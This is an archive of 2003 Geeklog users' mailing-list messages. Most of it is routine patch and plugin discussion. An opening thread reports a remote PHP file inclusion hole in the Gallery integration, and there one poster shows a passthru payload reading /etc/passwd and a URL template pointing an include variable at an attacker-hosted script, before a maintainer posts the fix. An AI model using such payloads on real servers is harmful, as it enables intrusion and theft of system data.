Date: Tue, 09 Dec 2003 16:43:26 -0600
Subject: [geeklog-users] Geeklog/Gallery vulnerability
In-Reply-To: <20031209223234.9283@smtp.haun-online.de>
References: <3FD64A1C.7030307@btiadmin.net> <20031209223234.9283@smtp.haun-online.de>
Message-ID: <3FD6500E.8000909@btiadmin.net>

Dirk Haun wrote:

>Jason,
>
>  
>
>>This article worries me a bit:
>>http://www.securityfocus.com/guest/24043
>>    
>>
>[...]
>  
>
>>The vulerability discussed allowed me to write arbitrary data to the 
>>server's hard disk, run all kinds of shell commands, and get the output 
>>back in my browser.  Worrying to be sure.
>>    
>>
>
>Hmm, I've only skimmed the article yet but my first impression was that
>it a) was "only" a problem of the Geeklog/Gallery integration (not of
>Geeklog itself) and b) was "only" used to send spam.
>
>I must have missed the bit about writing to the server's hard disk, but I
>don't really have the time now to look into it. Can someone confirm if
>this is "only" a problem with the Gallery integration?
>
>bye, Dirk
>
>
>  
>
Hello again,

The article didn't mention writing to the server's hard disk.  I was 
able to do that myself after reading the article.  It's not hard, once 
you get the basic idea.

Essentially, this allows you to feed PHP script to a remote server, 
which will then execute it.  So, if your server is running Gallery & 
Geeklog, I can make your server execute this:

<?
passthru('cat /etc/passwd');
passthru('echo "MY DATA HERE" > /tmp/mydataonyourdisk.file');
. . .
?>

As far as I know, this is possible anywhere someone does something like 
this:
include('$VARIABLE/file.php');

A user in the know could construct a URL like 
http://yoursite.com/blah.php?VARIBLE=http://mysite.com/mycode.php.

I'm not an expert by any means, so if this doesn't make sense or is 
wrong, let me know.

-Jason



From tony at tonybibbs.com  Tue Dec  9 23:07:37 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Tue, 09 Dec 2003 22:07:37 -0600
Subject: [geeklog-users] Geeklog/Gallery vulnerability
In-Reply-To: <20031209223234.9283@smtp.haun-online.de>
References: <3FD64A1C.7030307@btiadmin.net> <20031209223234.9283@smtp.haun-online.de>
Message-ID: <3FD69C09.7070302@tonybibbs.com>

Correct, it is only with that plugin. Read this:

http://www.geeklog.net/article.php?story=2003120922482655

--Tony

Dirk Haun wrote:

> Jason,
> 
> 
>>This article worries me a bit:
>>http://www.securityfocus.com/guest/24043
> 
> [...]
> 
>>The vulerability discussed allowed me to write arbitrary data to the 
>>server's hard disk, run all kinds of shell commands, and get the output 
>>back in my browser.  Worrying to be sure.
> 
> 
> Hmm, I've only skimmed the article yet but my first impression was that
> it a) was "only" a problem of the Geeklog/Gallery integration (not of
> Geeklog itself) and b) was "only" used to send spam.
> 
> I must have missed the bit about writing to the server's hard disk, but I
> don't really have the time now to look into it. Can someone confirm if
> this is "only" a problem with the Gallery integration?
> 
> bye, Dirk
> 
> 


-- 
+-------------------+--------------------------------------------------+
|Tony Bibbs         |[R]egardless of what you may think of our penal   |
|tony at tonybibbs.com |system, the fact is that every man in jail is one |
|                   |less potential fisherman to clutter up your       |
|                   |favorite pool or pond. --Ed Zern                  | 

+-------------------+--------------------------------------------------+



From jason at btiadmin.net  Tue Dec  9 23:33:47 2003
From: jason at btiadmin.net (Jason Signalness)
Date: Tue, 09 Dec 2003 22:33:47 -0600
Subject: [geeklog-users] Geeklog/Gallery vulnerability
In-Reply-To: <3FD69C09.7070302@tonybibbs.com>
References: <3FD64A1C.7030307@btiadmin.net> <20031209223234.9283@smtp.haun-online.de> <3FD69C09.7070302@tonybibbs.com>
Message-ID: <3FD6A22B.8010806@btiadmin.net>

Thanks Tony.

Tony Bibbs wrote:

> Correct, it is only with that plugin. Read this:
>
> http://www.geeklog.net/article.php?story=2003120922482655
>
> --Tony
>
> Dirk Haun wrote:
>
>> Jason,
>>
>>
>>> This article worries me a bit:
>>> http://www.securityfocus.com/guest/24043
>>
>>
>> [...]
>>
>>> The vulerability discussed allowed me to write arbitrary data to the 
>>> server's hard disk, run all kinds of shell commands, and get the 
>>> output back in my browser.  Worrying to be sure.
>>
>>
>>
>> Hmm, I've only skimmed the article yet but my first impression was that
>> it a) was "only" a problem of the Geeklog/Gallery integration (not of
>> Geeklog itself) and b) was "only" used to send spam.
>>
>> I must have missed the bit about writing to the server's hard disk, 
>> but I
>> don't really have the time now to look into it. Can someone confirm if
>> this is "only" a problem with the Gallery integration?
>>
>> bye, Dirk
>>
>>
>
>




From vmf at abtech.org  Wed Dec 10 21:32:45 2003
From: vmf at abtech.org (Vincent Furia)
Date: Wed, 10 Dec 2003 21:32:45 -0500 (EST)
Subject: [geeklog-users] Geeklog/Gallery Vulnerbility Fix
Message-ID: <Pine.LNX.4.53L-.0312102131230.19659@hercules.abtech.org>

All that is required to correct this vulnerbility is to remove the line:

require_once($GEEKLOG_DIR . '/lib-common.php');

>From the files User.php and UserDB.php in the gallery\classes\geeklog
folder.

The other locations where $GEEKLOG_DIR is found are preceded by an
"include('config.php');" which eliminates the security risk in those
areas. (This is because the $GEEKLOG_DIR variable is assigned a value in
the config.php file overriding any value passed by GET or POST).  It might
not be a bad idea to check to be sure that $GEEKLOG_DIR is in the
config.php file (though the integration will not work without its
presence).

I'll put together an update which addresses these problems as soon as I
can (perhaps as soon as this weekend).  By early next year I'll try to
complete a security audit of the geeklog/gallery integration code to try
to eliminate all security problems.

I appologize to those affected by this problem and I hope that not many
machines were compromised as result of this problem.  I don't know how
long this vulerbility has been in the code, but it has been there for more
than a year (since before I began to work on the integration).

-Vinny


From lgonze at panix.com  Wed Dec 10 22:39:46 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Wed, 10 Dec 2003 22:39:46 -0500
Subject: [geeklog-users] fix in COM_isemail
In-Reply-To: <6216D9A4-2A88-11D8-BA3C-000393455590@panix.com>
Message-ID: <AA27040C-2B8B-11D8-8BB1-000393455590@panix.com>

If you guys start acknowledging my fixes I'll keep submitting them.



From tony at tonybibbs.com  Thu Dec 11 09:25:47 2003
From: tony at tonybibbs.com (Tony Bibbs)
Date: Thu, 11 Dec 2003 08:25:47 -0600
Subject: [geeklog-users] Geeklog/Gallery Vulnerbility Fix
In-Reply-To: <Pine.LNX.4.53L-.0312102131230.19659@hercules.abtech.org>
References: <Pine.LNX.4.53L-.0312102131230.19659@hercules.abtech.org>
Message-ID: <3FD87E6B.7090106@tonybibbs.com>

Blah, don't apologize.  Most of us love the integration you have 
provided with Gallery and we are glad you are providing a quick fix.

Vincent Furia wrote:
> All that is required to correct this vulnerbility is to remove the line:
> 
> require_once($GEEKLOG_DIR . '/lib-common.php');
> 
>>From the files User.php and UserDB.php in the gallery\classes\geeklog
> folder.
> 
> The other locations where $GEEKLOG_DIR is found are preceded by an
> "include('config.php');" which eliminates the security risk in those
> areas. (This is because the $GEEKLOG_DIR variable is assigned a value in
> the config.php file overriding any value passed by GET or POST).  It might
> not be a bad idea to check to be sure that $GEEKLOG_DIR is in the
> config.php file (though the integration will not work without its
> presence).
> 
> I'll put together an update which addresses these problems as soon as I
> can (perhaps as soon as this weekend).  By early next year I'll try to
> complete a security audit of the geeklog/gallery integration code to try
> to eliminate all security problems.
> 
> I appologize to those affected by this problem and I hope that not many
> machines were compromised as result of this problem.  I don't know how
> long this vulerbility has been in the code, but it has been there for more
> than a year (since before I began to work on the integration).
> 
> -Vinny
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users



From jason at tribaldawn.com  Sun Dec 14 13:54:59 2003
From: jason at tribaldawn.com (Jason Godesky)
Date: Sun, 14 Dec 2003 13:54:59 -0500
Subject: [geeklog-users] Curious plugin woes
Message-ID: <oprz6phxfcnvueg6@mail.tribaldawn.com>

NOTE: The following was originally posted 
[http://www.langfamily.ca/forum/viewtopic.php?forum=2&showtopic=1612]  on 
the Langfamily Portal [http://www.langfamily.ca/] forums

I've been struggling with several of Blaine's (and other) plugins for 
several days, and I'm not entirely sure what's going on here. I'm running 
Geeklog 1.3.8 security release 3, with PHP 4.3.2 and MySQL 4.0.15. Most of 
the time when I get to createtopic.php in the forum, clicking "submit" or 
"preview" gives me a "connection close by remote server" error--but not 
always! Moreover, it only happens when I'm logged in, never when I'm 
anonymous. And it appears to be tied to which theme I'm using (even though 
I made both themes, and they differ pretty much only in the graphics they 
use). In fact, on further testing, it seemed to be the actual act of 
changing my theme that would finally allow me to post.

With the File Manager, I've been having the same problem RPotter reported 
[http://www.langfamily.ca/forum/viewtopic.php?forum=8&showtopic=1546], but 
having gone over the installation several times already, I still cannot 
find the problem. The installation reported success, and all the public 
areas showed up perfectly, but the admin page just wasn't there.

I've been having similar problems with other plugins--the lists plugin for 
mailing lists overloaded the MySQL client's memory, for instance. I'm 
beginning to suspect there's a common cause to all my Geeklog plugin woes, 
but I haven't the foggiest notion what it might be. Blaine, or anyone 
else, can anyone here help me?

-- 
Jason Godesky
jason at tribaldawn.com
http://www.tribaldawn.com/jason/


From lgonze at panix.com  Mon Dec 15 16:00:51 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 15 Dec 2003 16:00:51 -0500
Subject: [geeklog-users] Illegal MIME chars found in header
Message-ID: <C4027AA9-2F41-11D8-BD2B-000393455590@panix.com>

The emailed password to a new user of my system just caused the 
following bounce message.  I really don't see the problem, so I'm 
hoping that other geeklog sites have encountered it already.  Here's 
the bounce, with domains changed to protect the innocent:

Attention: admin at foo.org


A problem was found in an Email message you sent.
This Email scanner intercepted it and stopped the entire message
reaching its destination.

The problem was reported to be:

Illegal MIME chars found in header


Please contact your I.T support personnel with any queries regarding 
this
policy.


Your message was sent with the following envelope:

MAIL FROM: admin at foo.org
RCPT TO:   bay at barnet

... and with the following headers:

---
MAILFROM: admin at foo.org
Received: from generalpublic.org (66.132.150.27)
   by 63.208.193.225 with SMTP; 15 Dec 2003 13:01:44 -0500
Received: (qmail 11504 invoked by uid 48); 15 Dec 2003 18:18:41 -0000
Date: 15 Dec 2003 18:18:41 -0000
Message-ID: <20031215181841.11503.qmail at generalpublic.org>
To: bay at bar.net
Subject: foosite: Your Account Information
From: fooadmin <admin at foo.org>
X-Mailer: GeekLog 1.3.8-1sr2
Content-Type: text/plain; charset=iso-8859-1


---




From geeklog at langfamily.ca  Mon Dec 15 09:54:20 2003
From: geeklog at langfamily.ca (Blaine Lang)
Date: Mon, 15 Dec 2003 09:54:20 -0500
Subject: [geeklog-users] Curious plugin woes
References: <oprz6phxfcnvueg6@mail.tribaldawn.com>
Message-ID: <004101c3c31b$52556f90$640a10ac@lang>

Please don't tripple post -- I got the post on mysite and geeklog.net.
Doing so just makes more work for me -- and does not make one all that
pleased ;)
----- Original Message ----- 
From: "Jason Godesky" <jason at tribaldawn.com>
To: <geeklog-users at lists.geeklog.net>
Sent: Sunday, December 14, 2003 1:54 PM
Subject: [geeklog-users] Curious plugin woes


>
> NOTE: The following was originally posted
> [http://www.langfamily.ca/forum/viewtopic.php?forum=2&showtopic=1612]  on
> the Langfamily Portal [http://www.langfamily.ca/] forums
>
> I've been struggling with several of Blaine's (and other) plugins for
> several days, and I'm not entirely sure what's going on here. I'm running
> Geeklog 1.3.8 security release 3, with PHP 4.3.2 and MySQL 4.0.15. Most of
> the time when I get to createtopic.php in the forum, clicking "submit" or
> "preview" gives me a "connection close by remote server" error--but not
> always! Moreover, it only happens when I'm logged in, never when I'm
> anonymous. And it appears to be tied to which theme I'm using (even though
> I made both themes, and they differ pretty much only in the graphics they
> use). In fact, on further testing, it seemed to be the actual act of
> changing my theme that would finally allow me to post.
>
> With the File Manager, I've been having the same problem RPotter reported
> [http://www.langfamily.ca/forum/viewtopic.php?forum=8&showtopic=1546], but
> having gone over the installation several times already, I still cannot
> find the problem. The installation reported success, and all the public
> areas showed up perfectly, but the admin page just wasn't there.
>
> I've been having similar problems with other plugins--the lists plugin for
> mailing lists overloaded the MySQL client's memory, for instance. I'm
> beginning to suspect there's a common cause to all my Geeklog plugin woes,
> but I haven't the foggiest notion what it might be. Blaine, or anyone
> else, can anyone here help me?
>
> -- 
> Jason Godesky
> jason at tribaldawn.com
> http://www.tribaldawn.com/jason/
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From lgonze at panix.com  Mon Dec 15 16:28:16 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 15 Dec 2003 16:28:16 -0500
Subject: [geeklog-users] Illegal MIME chars found in header
In-Reply-To: <C4027AA9-2F41-11D8-BD2B-000393455590@panix.com>
Message-ID: <987C0BD2-2F45-11D8-BD2B-000393455590@panix.com>

Background on the issue:
http://www.vbulletin.com/forum/bugs.php?do=view&bugid=1496
http://www.ez.no/developer/ez_publish_3/forum/developer/ 
illegal_mime_chars_in_email_header

Geeklog code that leads to the bug is in users.php, function  
emailpassword:
         mail($A["email"]
             ,"{$_CONF["site_name"]}: {$LANG04[16]}"
             ,$mailtext
             ,"From: {$_CONF["site_name"]}  
<{$_CONF["site_mail"]}>\r\nReturn-Path:  
<{$_CONF["site_mail"]}>\r\nX-Mailer: GeekLog " . VERSION .  
"\r\nContent-Type: text/plain; charset={$charset}"
             );

The fix is to change the \r\n to \n.  This breaks with the RFC but  
appears to be standard practice to get past virus detectors, which  
don't accept RFC-compliant mime headers.  This is the new code in my  
version of users.php:
		
         mail($A["email"]
             ,"{$_CONF["site_name"]}: {$LANG04[16]}"
             ,$mailtext
             ,"From: {$_CONF["site_name"]}  
<{$_CONF["site_mail"]}>\nReturn-Path:  
<{$_CONF["site_mail"]}>\nX-Mailer: GeekLog " . VERSION .  
"\nContent-Type: text/plain; charset={$charset}"
             );

On Monday, Dec 15, 2003, at 16:00 America/New_York, Lucas Gonze wrote:

> The emailed password to a new user of my system just caused the  
> following bounce message.  I really don't see the problem, so I'm  
> hoping that other geeklog sites have encountered it already.  Here's  
> the bounce, with domains changed to protect the innocent:
>
> Attention: admin at foo.org
>
>
> A problem was found in an Email message you sent.
> This Email scanner intercepted it and stopped the entire message
> reaching its destination.
>
> The problem was reported to be:
>
> Illegal MIME chars found in header
>
>
> Please contact your I.T support personnel with any queries regarding  
> this
> policy.
>
>
> Your message was sent with the following envelope:
>
> MAIL FROM: admin at foo.org
> RCPT TO:   bay at barnet
>
> ... and with the following headers:
>
> ---
> MAILFROM: admin at foo.org
> Received: from generalpublic.org (66.132.150.27)
>   by 63.208.193.225 with SMTP; 15 Dec 2003 13:01:44 -0500
> Received: (qmail 11504 invoked by uid 48); 15 Dec 2003 18:18:41 -0000
> Date: 15 Dec 2003 18:18:41 -0000
> Message-ID: <20031215181841.11503.qmail at generalpublic.org>
> To: bay at bar.net
> Subject: foosite: Your Account Information
> From: fooadmin <admin at foo.org>
> X-Mailer: GeekLog 1.3.8-1sr2
> Content-Type: text/plain; charset=iso-8859-1
>
>
> ---
>
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users
>



From lgonze at panix.com  Mon Dec 15 17:57:59 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 15 Dec 2003 17:57:59 -0500
Subject: [geeklog-users] submitting code
Message-ID: <212212DA-2F52-11D8-BD2B-000393455590@panix.com>

Ok, given that the project maintainers always ignore patches, I'm 
wondering what other users do with their code.  Does anybody else 
submit stuff, or do you just keep a private fork on your own machine?  
Any advice?





From geeklog at langfamily.ca  Mon Dec 15 18:56:54 2003
From: geeklog at langfamily.ca (Blaine Lang)
Date: Mon, 15 Dec 2003 18:56:54 -0500
Subject: [geeklog-users] submitting code
References: <212212DA-2F52-11D8-BD2B-000393455590@panix.com>
Message-ID: <007201c3c367$1dacfd70$640a10ac@lang>

I don't think that project owners ignore patches and bug reports. We do
appreciate a little patience and ask that bugs be reported.
Many times, the developer may already be aware or working on a future
release. Critical security related problems get priority and attention.

If you have a Core Geeklog bug - then report it using the Link of the main
page on geeklog.net (Top Left)

Like many others, I have a number of projects and many more ideas then time.
Depending on the issue, I proritize them and the project.

Regards,
Blaine
----- Original Message ----- 
From: "Lucas Gonze" <lgonze at panix.com>
To: <geeklog-users at lists.geeklog.net>
Sent: Monday, December 15, 2003 5:57 PM
Subject: [geeklog-users] submitting code


> Ok, given that the project maintainers always ignore patches, I'm
> wondering what other users do with their code.  Does anybody else
> submit stuff, or do you just keep a private fork on your own machine?
> Any advice?
>
>
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users



From lgonze at panix.com  Mon Dec 15 19:12:33 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 15 Dec 2003 19:12:33 -0500
Subject: [geeklog-users] submitting code
In-Reply-To: <007201c3c367$1dacfd70$640a10ac@lang>
Message-ID: <8BA22583-2F5C-11D8-BD2B-000393455590@panix.com>

In general, I never report bugs without also submitting a fix, so 
that's really what my question is about.  So far there are have been a 
fix in search.php, one in the email address check, one in COM_refresh, 
and one in the code to email the password.  Any suggestions for how I 
can do that in a way which is more likely to be successful?

- Lucas

On Monday, Dec 15, 2003, at 18:56 America/New_York, Blaine Lang wrote:

> I don't think that project owners ignore patches and bug reports. We do
> appreciate a little patience and ask that bugs be reported.
> Many times, the developer may already be aware or working on a future
> release. Critical security related problems get priority and attention.
>
> If you have a Core Geeklog bug - then report it using the Link of the 
> main
> page on geeklog.net (Top Left)
>
> Like many others, I have a number of projects and many more ideas then 
> time.
> Depending on the issue, I proritize them and the project.
>
> Regards,
> Blaine
> ----- Original Message -----
> From: "Lucas Gonze" <lgonze at panix.com>
> To: <geeklog-users at lists.geeklog.net>
> Sent: Monday, December 15, 2003 5:57 PM
> Subject: [geeklog-users] submitting code
>
>
>> Ok, given that the project maintainers always ignore patches, I'm
>> wondering what other users do with their code.  Does anybody else
>> submit stuff, or do you just keep a private fork on your own machine?
>> Any advice?
>>
>>
>>
>> _______________________________________________
>> geeklog-users mailing list
>> geeklog-users at lists.geeklog.net
>> http://lists.geeklog.net/listinfo/geeklog-users
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users
>



From geeklog at langfamily.ca  Mon Dec 15 19:24:30 2003
From: geeklog at langfamily.ca (Blaine Lang)
Date: Mon, 15 Dec 2003 19:24:30 -0500
Subject: [geeklog-users] submitting code
References: <8BA22583-2F5C-11D8-BD2B-000393455590@panix.com>
Message-ID: <008301c3c36a$f8bf6b70$640a10ac@lang>

Thats great that you are submitting a recommended fix with your bug reports.
You can safely include the code inline or as an attachment when submitting
your bug. This way everything is online and you can track it as well -- easy
to get lost in emails otherwise.

Thanks for your ideas and feedback.

Regards,
Blaine
----- Original Message ----- 
From: "Lucas Gonze" <lgonze at panix.com>
To: <geeklog-users at lists.geeklog.net>
Sent: Monday, December 15, 2003 7:12 PM
Subject: Re: [geeklog-users] submitting code


> In general, I never report bugs without also submitting a fix, so
> that's really what my question is about.  So far there are have been a
> fix in search.php, one in the email address check, one in COM_refresh,
> and one in the code to email the password.  Any suggestions for how I
> can do that in a way which is more likely to be successful?
>
> - Lucas
>
> On Monday, Dec 15, 2003, at 18:56 America/New_York, Blaine Lang wrote:
>
> > I don't think that project owners ignore patches and bug reports. We do
> > appreciate a little patience and ask that bugs be reported.
> > Many times, the developer may already be aware or working on a future
> > release. Critical security related problems get priority and attention.
> >
> > If you have a Core Geeklog bug - then report it using the Link of the
> > main
> > page on geeklog.net (Top Left)
> >
> > Like many others, I have a number of projects and many more ideas then
> > time.
> > Depending on the issue, I proritize them and the project.
> >
> > Regards,
> > Blaine
> > ----- Original Message -----
> > From: "Lucas Gonze" <lgonze at panix.com>
> > To: <geeklog-users at lists.geeklog.net>
> > Sent: Monday, December 15, 2003 5:57 PM
> > Subject: [geeklog-users] submitting code
> >
> >
> >> Ok, given that the project maintainers always ignore patches, I'm
> >> wondering what other users do with their code.  Does anybody else
> >> submit stuff, or do you just keep a private fork on your own machine?
> >> Any advice?
> >>
> >>
> >>
> >> _______________________________________________
> >> geeklog-users mailing list
> >> geeklog-users at lists.geeklog.net
> >> http://lists.geeklog.net/listinfo/geeklog-users
> >
> > _______________________________________________
> > geeklog-users mailing list
> > geeklog-users at lists.geeklog.net
> > http://lists.geeklog.net/listinfo/geeklog-users
> >
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users



From lgonze at panix.com  Mon Dec 15 19:30:46 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Mon, 15 Dec 2003 19:30:46 -0500
Subject: [geeklog-users] submitting code
In-Reply-To: <008301c3c36a$f8bf6b70$640a10ac@lang>
Message-ID: <17681440-2F5F-11D8-BD2B-000393455590@panix.com>

Ok, thanks Blaine.

- Lucas

On Monday, Dec 15, 2003, at 19:24 America/New_York, Blaine Lang wrote:

> Thats great that you are submitting a recommended fix with your bug 
> reports.
> You can safely include the code inline or as an attachment when 
> submitting
> your bug. This way everything is online and you can track it as well 
> -- easy
> to get lost in emails otherwise.
>
> Thanks for your ideas and feedback.
>
> Regards,
> Blaine
> ----- Original Message -----
> From: "Lucas Gonze" <lgonze at panix.com>
> To: <geeklog-users at lists.geeklog.net>
> Sent: Monday, December 15, 2003 7:12 PM
> Subject: Re: [geeklog-users] submitting code
>
>
>> In general, I never report bugs without also submitting a fix, so
>> that's really what my question is about.  So far there are have been a
>> fix in search.php, one in the email address check, one in COM_refresh,
>> and one in the code to email the password.  Any suggestions for how I
>> can do that in a way which is more likely to be successful?
>>
>> - Lucas
>>
>> On Monday, Dec 15, 2003, at 18:56 America/New_York, Blaine Lang wrote:
>>
>>> I don't think that project owners ignore patches and bug reports. We 
>>> do
>>> appreciate a little patience and ask that bugs be reported.
>>> Many times, the developer may already be aware or working on a future
>>> release. Critical security related problems get priority and 
>>> attention.
>>>
>>> If you have a Core Geeklog bug - then report it using the Link of the
>>> main
>>> page on geeklog.net (Top Left)
>>>
>>> Like many others, I have a number of projects and many more ideas 
>>> then
>>> time.
>>> Depending on the issue, I proritize them and the project.
>>>
>>> Regards,
>>> Blaine
>>> ----- Original Message -----
>>> From: "Lucas Gonze" <lgonze at panix.com>
>>> To: <geeklog-users at lists.geeklog.net>
>>> Sent: Monday, December 15, 2003 5:57 PM
>>> Subject: [geeklog-users] submitting code
>>>
>>>
>>>> Ok, given that the project maintainers always ignore patches, I'm
>>>> wondering what other users do with their code.  Does anybody else
>>>> submit stuff, or do you just keep a private fork on your own 
>>>> machine?
>>>> Any advice?
>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> geeklog-users mailing list
>>>> geeklog-users at lists.geeklog.net
>>>> http://lists.geeklog.net/listinfo/geeklog-users
>>>
>>> _______________________________________________
>>> geeklog-users mailing list
>>> geeklog-users at lists.geeklog.net
>>> http://lists.geeklog.net/listinfo/geeklog-users
>>>
>>
>> _______________________________________________
>> geeklog-users mailing list
>> geeklog-users at lists.geeklog.net
>> http://lists.geeklog.net/listinfo/geeklog-users
>
> _______________________________________________
> geeklog-users mailing list
> geeklog-users at lists.geeklog.net
> http://lists.geeklog.net/listinfo/geeklog-users
>



From dirk at haun-online.de  Wed Dec 17 14:25:16 2003
From: dirk at haun-online.de (Dirk Haun)
Date: Wed, 17 Dec 2003 20:25:16 +0100
Subject: [geeklog-users] submitting code
In-Reply-To: <212212DA-2F52-11D8-BD2B-000393455590@panix.com>
References: <212212DA-2F52-11D8-BD2B-000393455590@panix.com>
Message-ID: <20031217192516.23421@smtp.haun-online.de>

Lucas,

>Ok, given that the project maintainers always ignore patches, I'm 
>wondering what other users do with their code.

With the amount of traffic in the forums, stuff posted there - and also
here on the mailing lists - tends to get lost. So, as Blaine already
said, the best thing to do is submit bug reports and feature requests and
attach your patches.


>So far there are have been a 
>fix in search.php, one in the email address check, one in COM_refresh, 
>and one in the code to email the password.

Also, before submitting patches, it's always a good idea to check with
CVS. I remember seeing the one about the email address check, but since
the CVS version is already using a PEAR class to do that, it's probably
not going to make it into Geeklog anyway.

The same applies to the emailing of passwords (again, CVS is using PEAR:
Mail now). And, btw, I don't plan on breaking standards just because of
some broken antivirus software.

We discussed the COM_refresh issue here on the list, but came to no
conclusion. Not sure what to do there, but I'm leaning towards leaving it
as it is.

Can't remember what the fix for search.php was about. If it was about the
links showing up when searching for an author - that is a known issue and
exists as a bug report. Blaine, didn't you plan to work on that?

And, as you can see from my late reply, we all seem to have a minor
problem with the time we can spend on the project recently ...

bye, Dirk


-- 
http://www.haun-online.de/
http://www.macosx-faq.de/



From lgonze at panix.com  Wed Dec 17 15:48:43 2003
From: lgonze at panix.com (Lucas Gonze)
Date: Wed, 17 Dec 2003 15:48:43 -0500
Subject: [geeklog-users] submitting code
In-Reply-To: <20031217192516.23421@smtp.haun-online.de>
Message-ID: <6727FC4A-30D2-11D8-B767-000393455590@panix.com>

On Wednesday, Dec 17, 2003, at 14:25 America/New_York, Dirk Haun wrote:
> Can't remember what the fix for search.php was about. If it was about 
> the
> links showing up when searching for an author - that is a known issue 
> and
> exists as a bug report. Blaine, didn't you plan to work on that?

Original post on the search fix is at the bottom of this message.  
Better to manage that one via the bug tracker.

> And, as you can see from my late reply, we all seem to have a minor
> problem with the time we can spend on the project recently ...

That's what I assumed.  Finding time for free work is hard.

Thanks.

- Lucas

Here's the search fix:

In search.php, the code tests mode to see if it's 'search':
if ($HTTP_GET_VARS['mode'] == 'search' ) {
     $display .= $searchObj->doSearch();
} else {
     $display .= $searchObj->showForm();
}

But if the search was submitted via searchform.html (my own version of 
this was cannibalized from the Yahoo theme), the mode variable will be 
'Search' rather than 'search'.

One possible fix is to do the test case-insensitive.  However that 
wouldn't catch situations where the text had been translated.  A more 
dependable fix is to look for the 'query' variable instead:

if (!empty($HTTP_GET_VARS['query']) ) {
     $display .= $searchObj->doSearch();
} else {
     $display .= $searchObj->showForm();
}

The new search.php would be:

require_once('lib-common.php');
require_once($_CONF['path_system'] . 'classes/search.class.php');

$display = COM_siteHeader();

$searchObj = new Search();

if ( !empty($HTTP_GET_VARS['query']) ) {
     $display .= $searchObj->doSearch();
} else {
     $display .= $searchObj->showForm();
}

$display .= COM_siteFooter();

echo $display;



From geeklog at daniu.de  Thu Dec 18 08:46:28 2003
From: geeklog at daniu.de (Daniel Kopp)
Date: Thu, 18 Dec 2003 14:46:28 +0100
Subject: [geeklog-users] bigger address list
Message-ID: <brsek5.2mo.1@daniu.de>

Hi!

Some time ago I posted on geeklog.net that I would appreciate a bigger,
better address-book for geeklog. In particular the most important features
for me are rights for address book entries - meaning I can allow a group or
a single person to read, edit, maybe add new addresses and delete them. By
that every geeklog-admin could manage his/her addresses of all
(acquaintances) groups in 1 place and people could all change their
addresses themselves which will - if it works and people use it - keep the
address book always up to date.
I have an address list written in perl with a textfile as data-container
(only 1 group and not really comfortable). I found out that people
participate only if they are reminded on the existence of the list from time
to time. To do this - in a way that makes sense and does not annoy anybody -
I send an email on ever change of an address. So this is a feature which
should be added.
I also could imagine to output the list in different forms like pdf, Excel,
csv, html printable, html colored.

Now - I would like to get more into that but I am not very familiar with the
way geeklog works and everybody knows that it is most difficult to
understand other peoples way of programming. So I would:
-appreciate some pointers to how geeklog works
-get connected to people who want to participate and know more about how to
set up plug-ins (of course I've seen the template for that), get user info
in plug-ins, etc.

When thinking about it - I came to this first thoughts:

three additional tables:
***
1. User-data:
uid 
data          // all the user data (containing all sort of more or
              // less weird info, as much as possible at first)
***
2. Rights:
uid
grp_id        // to be able to set rights for single persons
              // or for a whole group (like in gl_group_assignments)
uid_source    // the addresses to allow
grp_source    // same with groups
rights        // 1 see (only for groups: for admin to be able to hide
              // a group even to people that are in it. In other words:
              // to set up which groups are used for the address list,
              // 2 read, 4 write, 8 add, 16 delete, 32 whatever
***
3. User settings
uid
Settings      // things like list-format, "getmail on change".
              // This could also go into User-data (1) but is somehow
              // different.
***

A later step could be to enable the Geeklogadmin to set up self defined
columns as data.

I really hope some people are interested and participate!

If the existing contacts-plug-in would be easy to change in a way that comes
close to my ideas this would be OK, too. However as far as I understood
"contacts" is very different and not so easy to get do what I want to do.

Merry Christmas
Daniel



From public at carukia.net  Sat Dec 20 19:09:51 2003
From: public at carukia.net (timo ochmann)
Date: Sat, 20 Dec 2003 16:09:51 -0800
Subject: [geeklog-users] GeekLog v1.3.8-1sr3, secure authentication?!
Message-ID: <FF789343-3349-11D8-A868-0030654E07EE@carukia.net>

has anyone come up with an easy and simple way to implement secure 
'Admin' authentication/login (or all users!) under 'GeekLog 
v1.3.8-1sr3'?! i don't want to run the entire site as 'https'. the 
online docs didn't yield anything useful. is there something in the 
works to facilitate this? simple ip filtering would be another option, 
see i.e. 'pure-ftp'.
any feedback appreciated.
if this has been asked before, i apologize, ...

thanks.



From terry at tdce.com.au  Mon Dec 22 21:53:22 2003
From: terry at tdce.com.au (TC Giufre-Sweetser)
Date: Tue, 23 Dec 2003 12:53:22 +1000 (EST)
Subject: [geeklog-users] Hello and a Question...
Message-ID: <Pine.LNX.4.44.0312231250060.21573-100000@camelot.tdce.com.au>

I have several incoming notification email lists, like isp outages, and
notices from email lists.  I would to feed them directly into a set of
topics as stories. (And expiring them after 7 days automatically would be
nice!)

How do I do this?

---
Terence C. Giufre-Sweetser

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From geeklog at daniu.de  Sat Dec 27 11:23:08 2003
From: geeklog at daniu.de (Daniel Kopp)
Date: Sat, 27 Dec 2003 17:23:08 +0100
Subject: [geeklog-users] Change user-settings
Message-ID: <bskf5t.4rs.1@daniu.de>

Hi!

It seems that the new geeklog allows only 1 account per Emailaddress. (I get
an error message when I try to change an old account)
That seems to be a good idea on the first look but maybe someone wants to
have several accounts for ceveral positions or a family uses 1 Emailaddress
for many people. Maybe this "feature" should be possible to turn off.

Regards
Daniel



From geeklog at daniu.de  Sat Dec 27 11:30:21 2003
From: geeklog at daniu.de (Daniel Kopp)
Date: Sat, 27 Dec 2003 17:30:21 +0100
Subject: [geeklog-users] What I like/don't like about geeklog
Message-ID: <bskfje.574.1@daniu.de>

Hi!

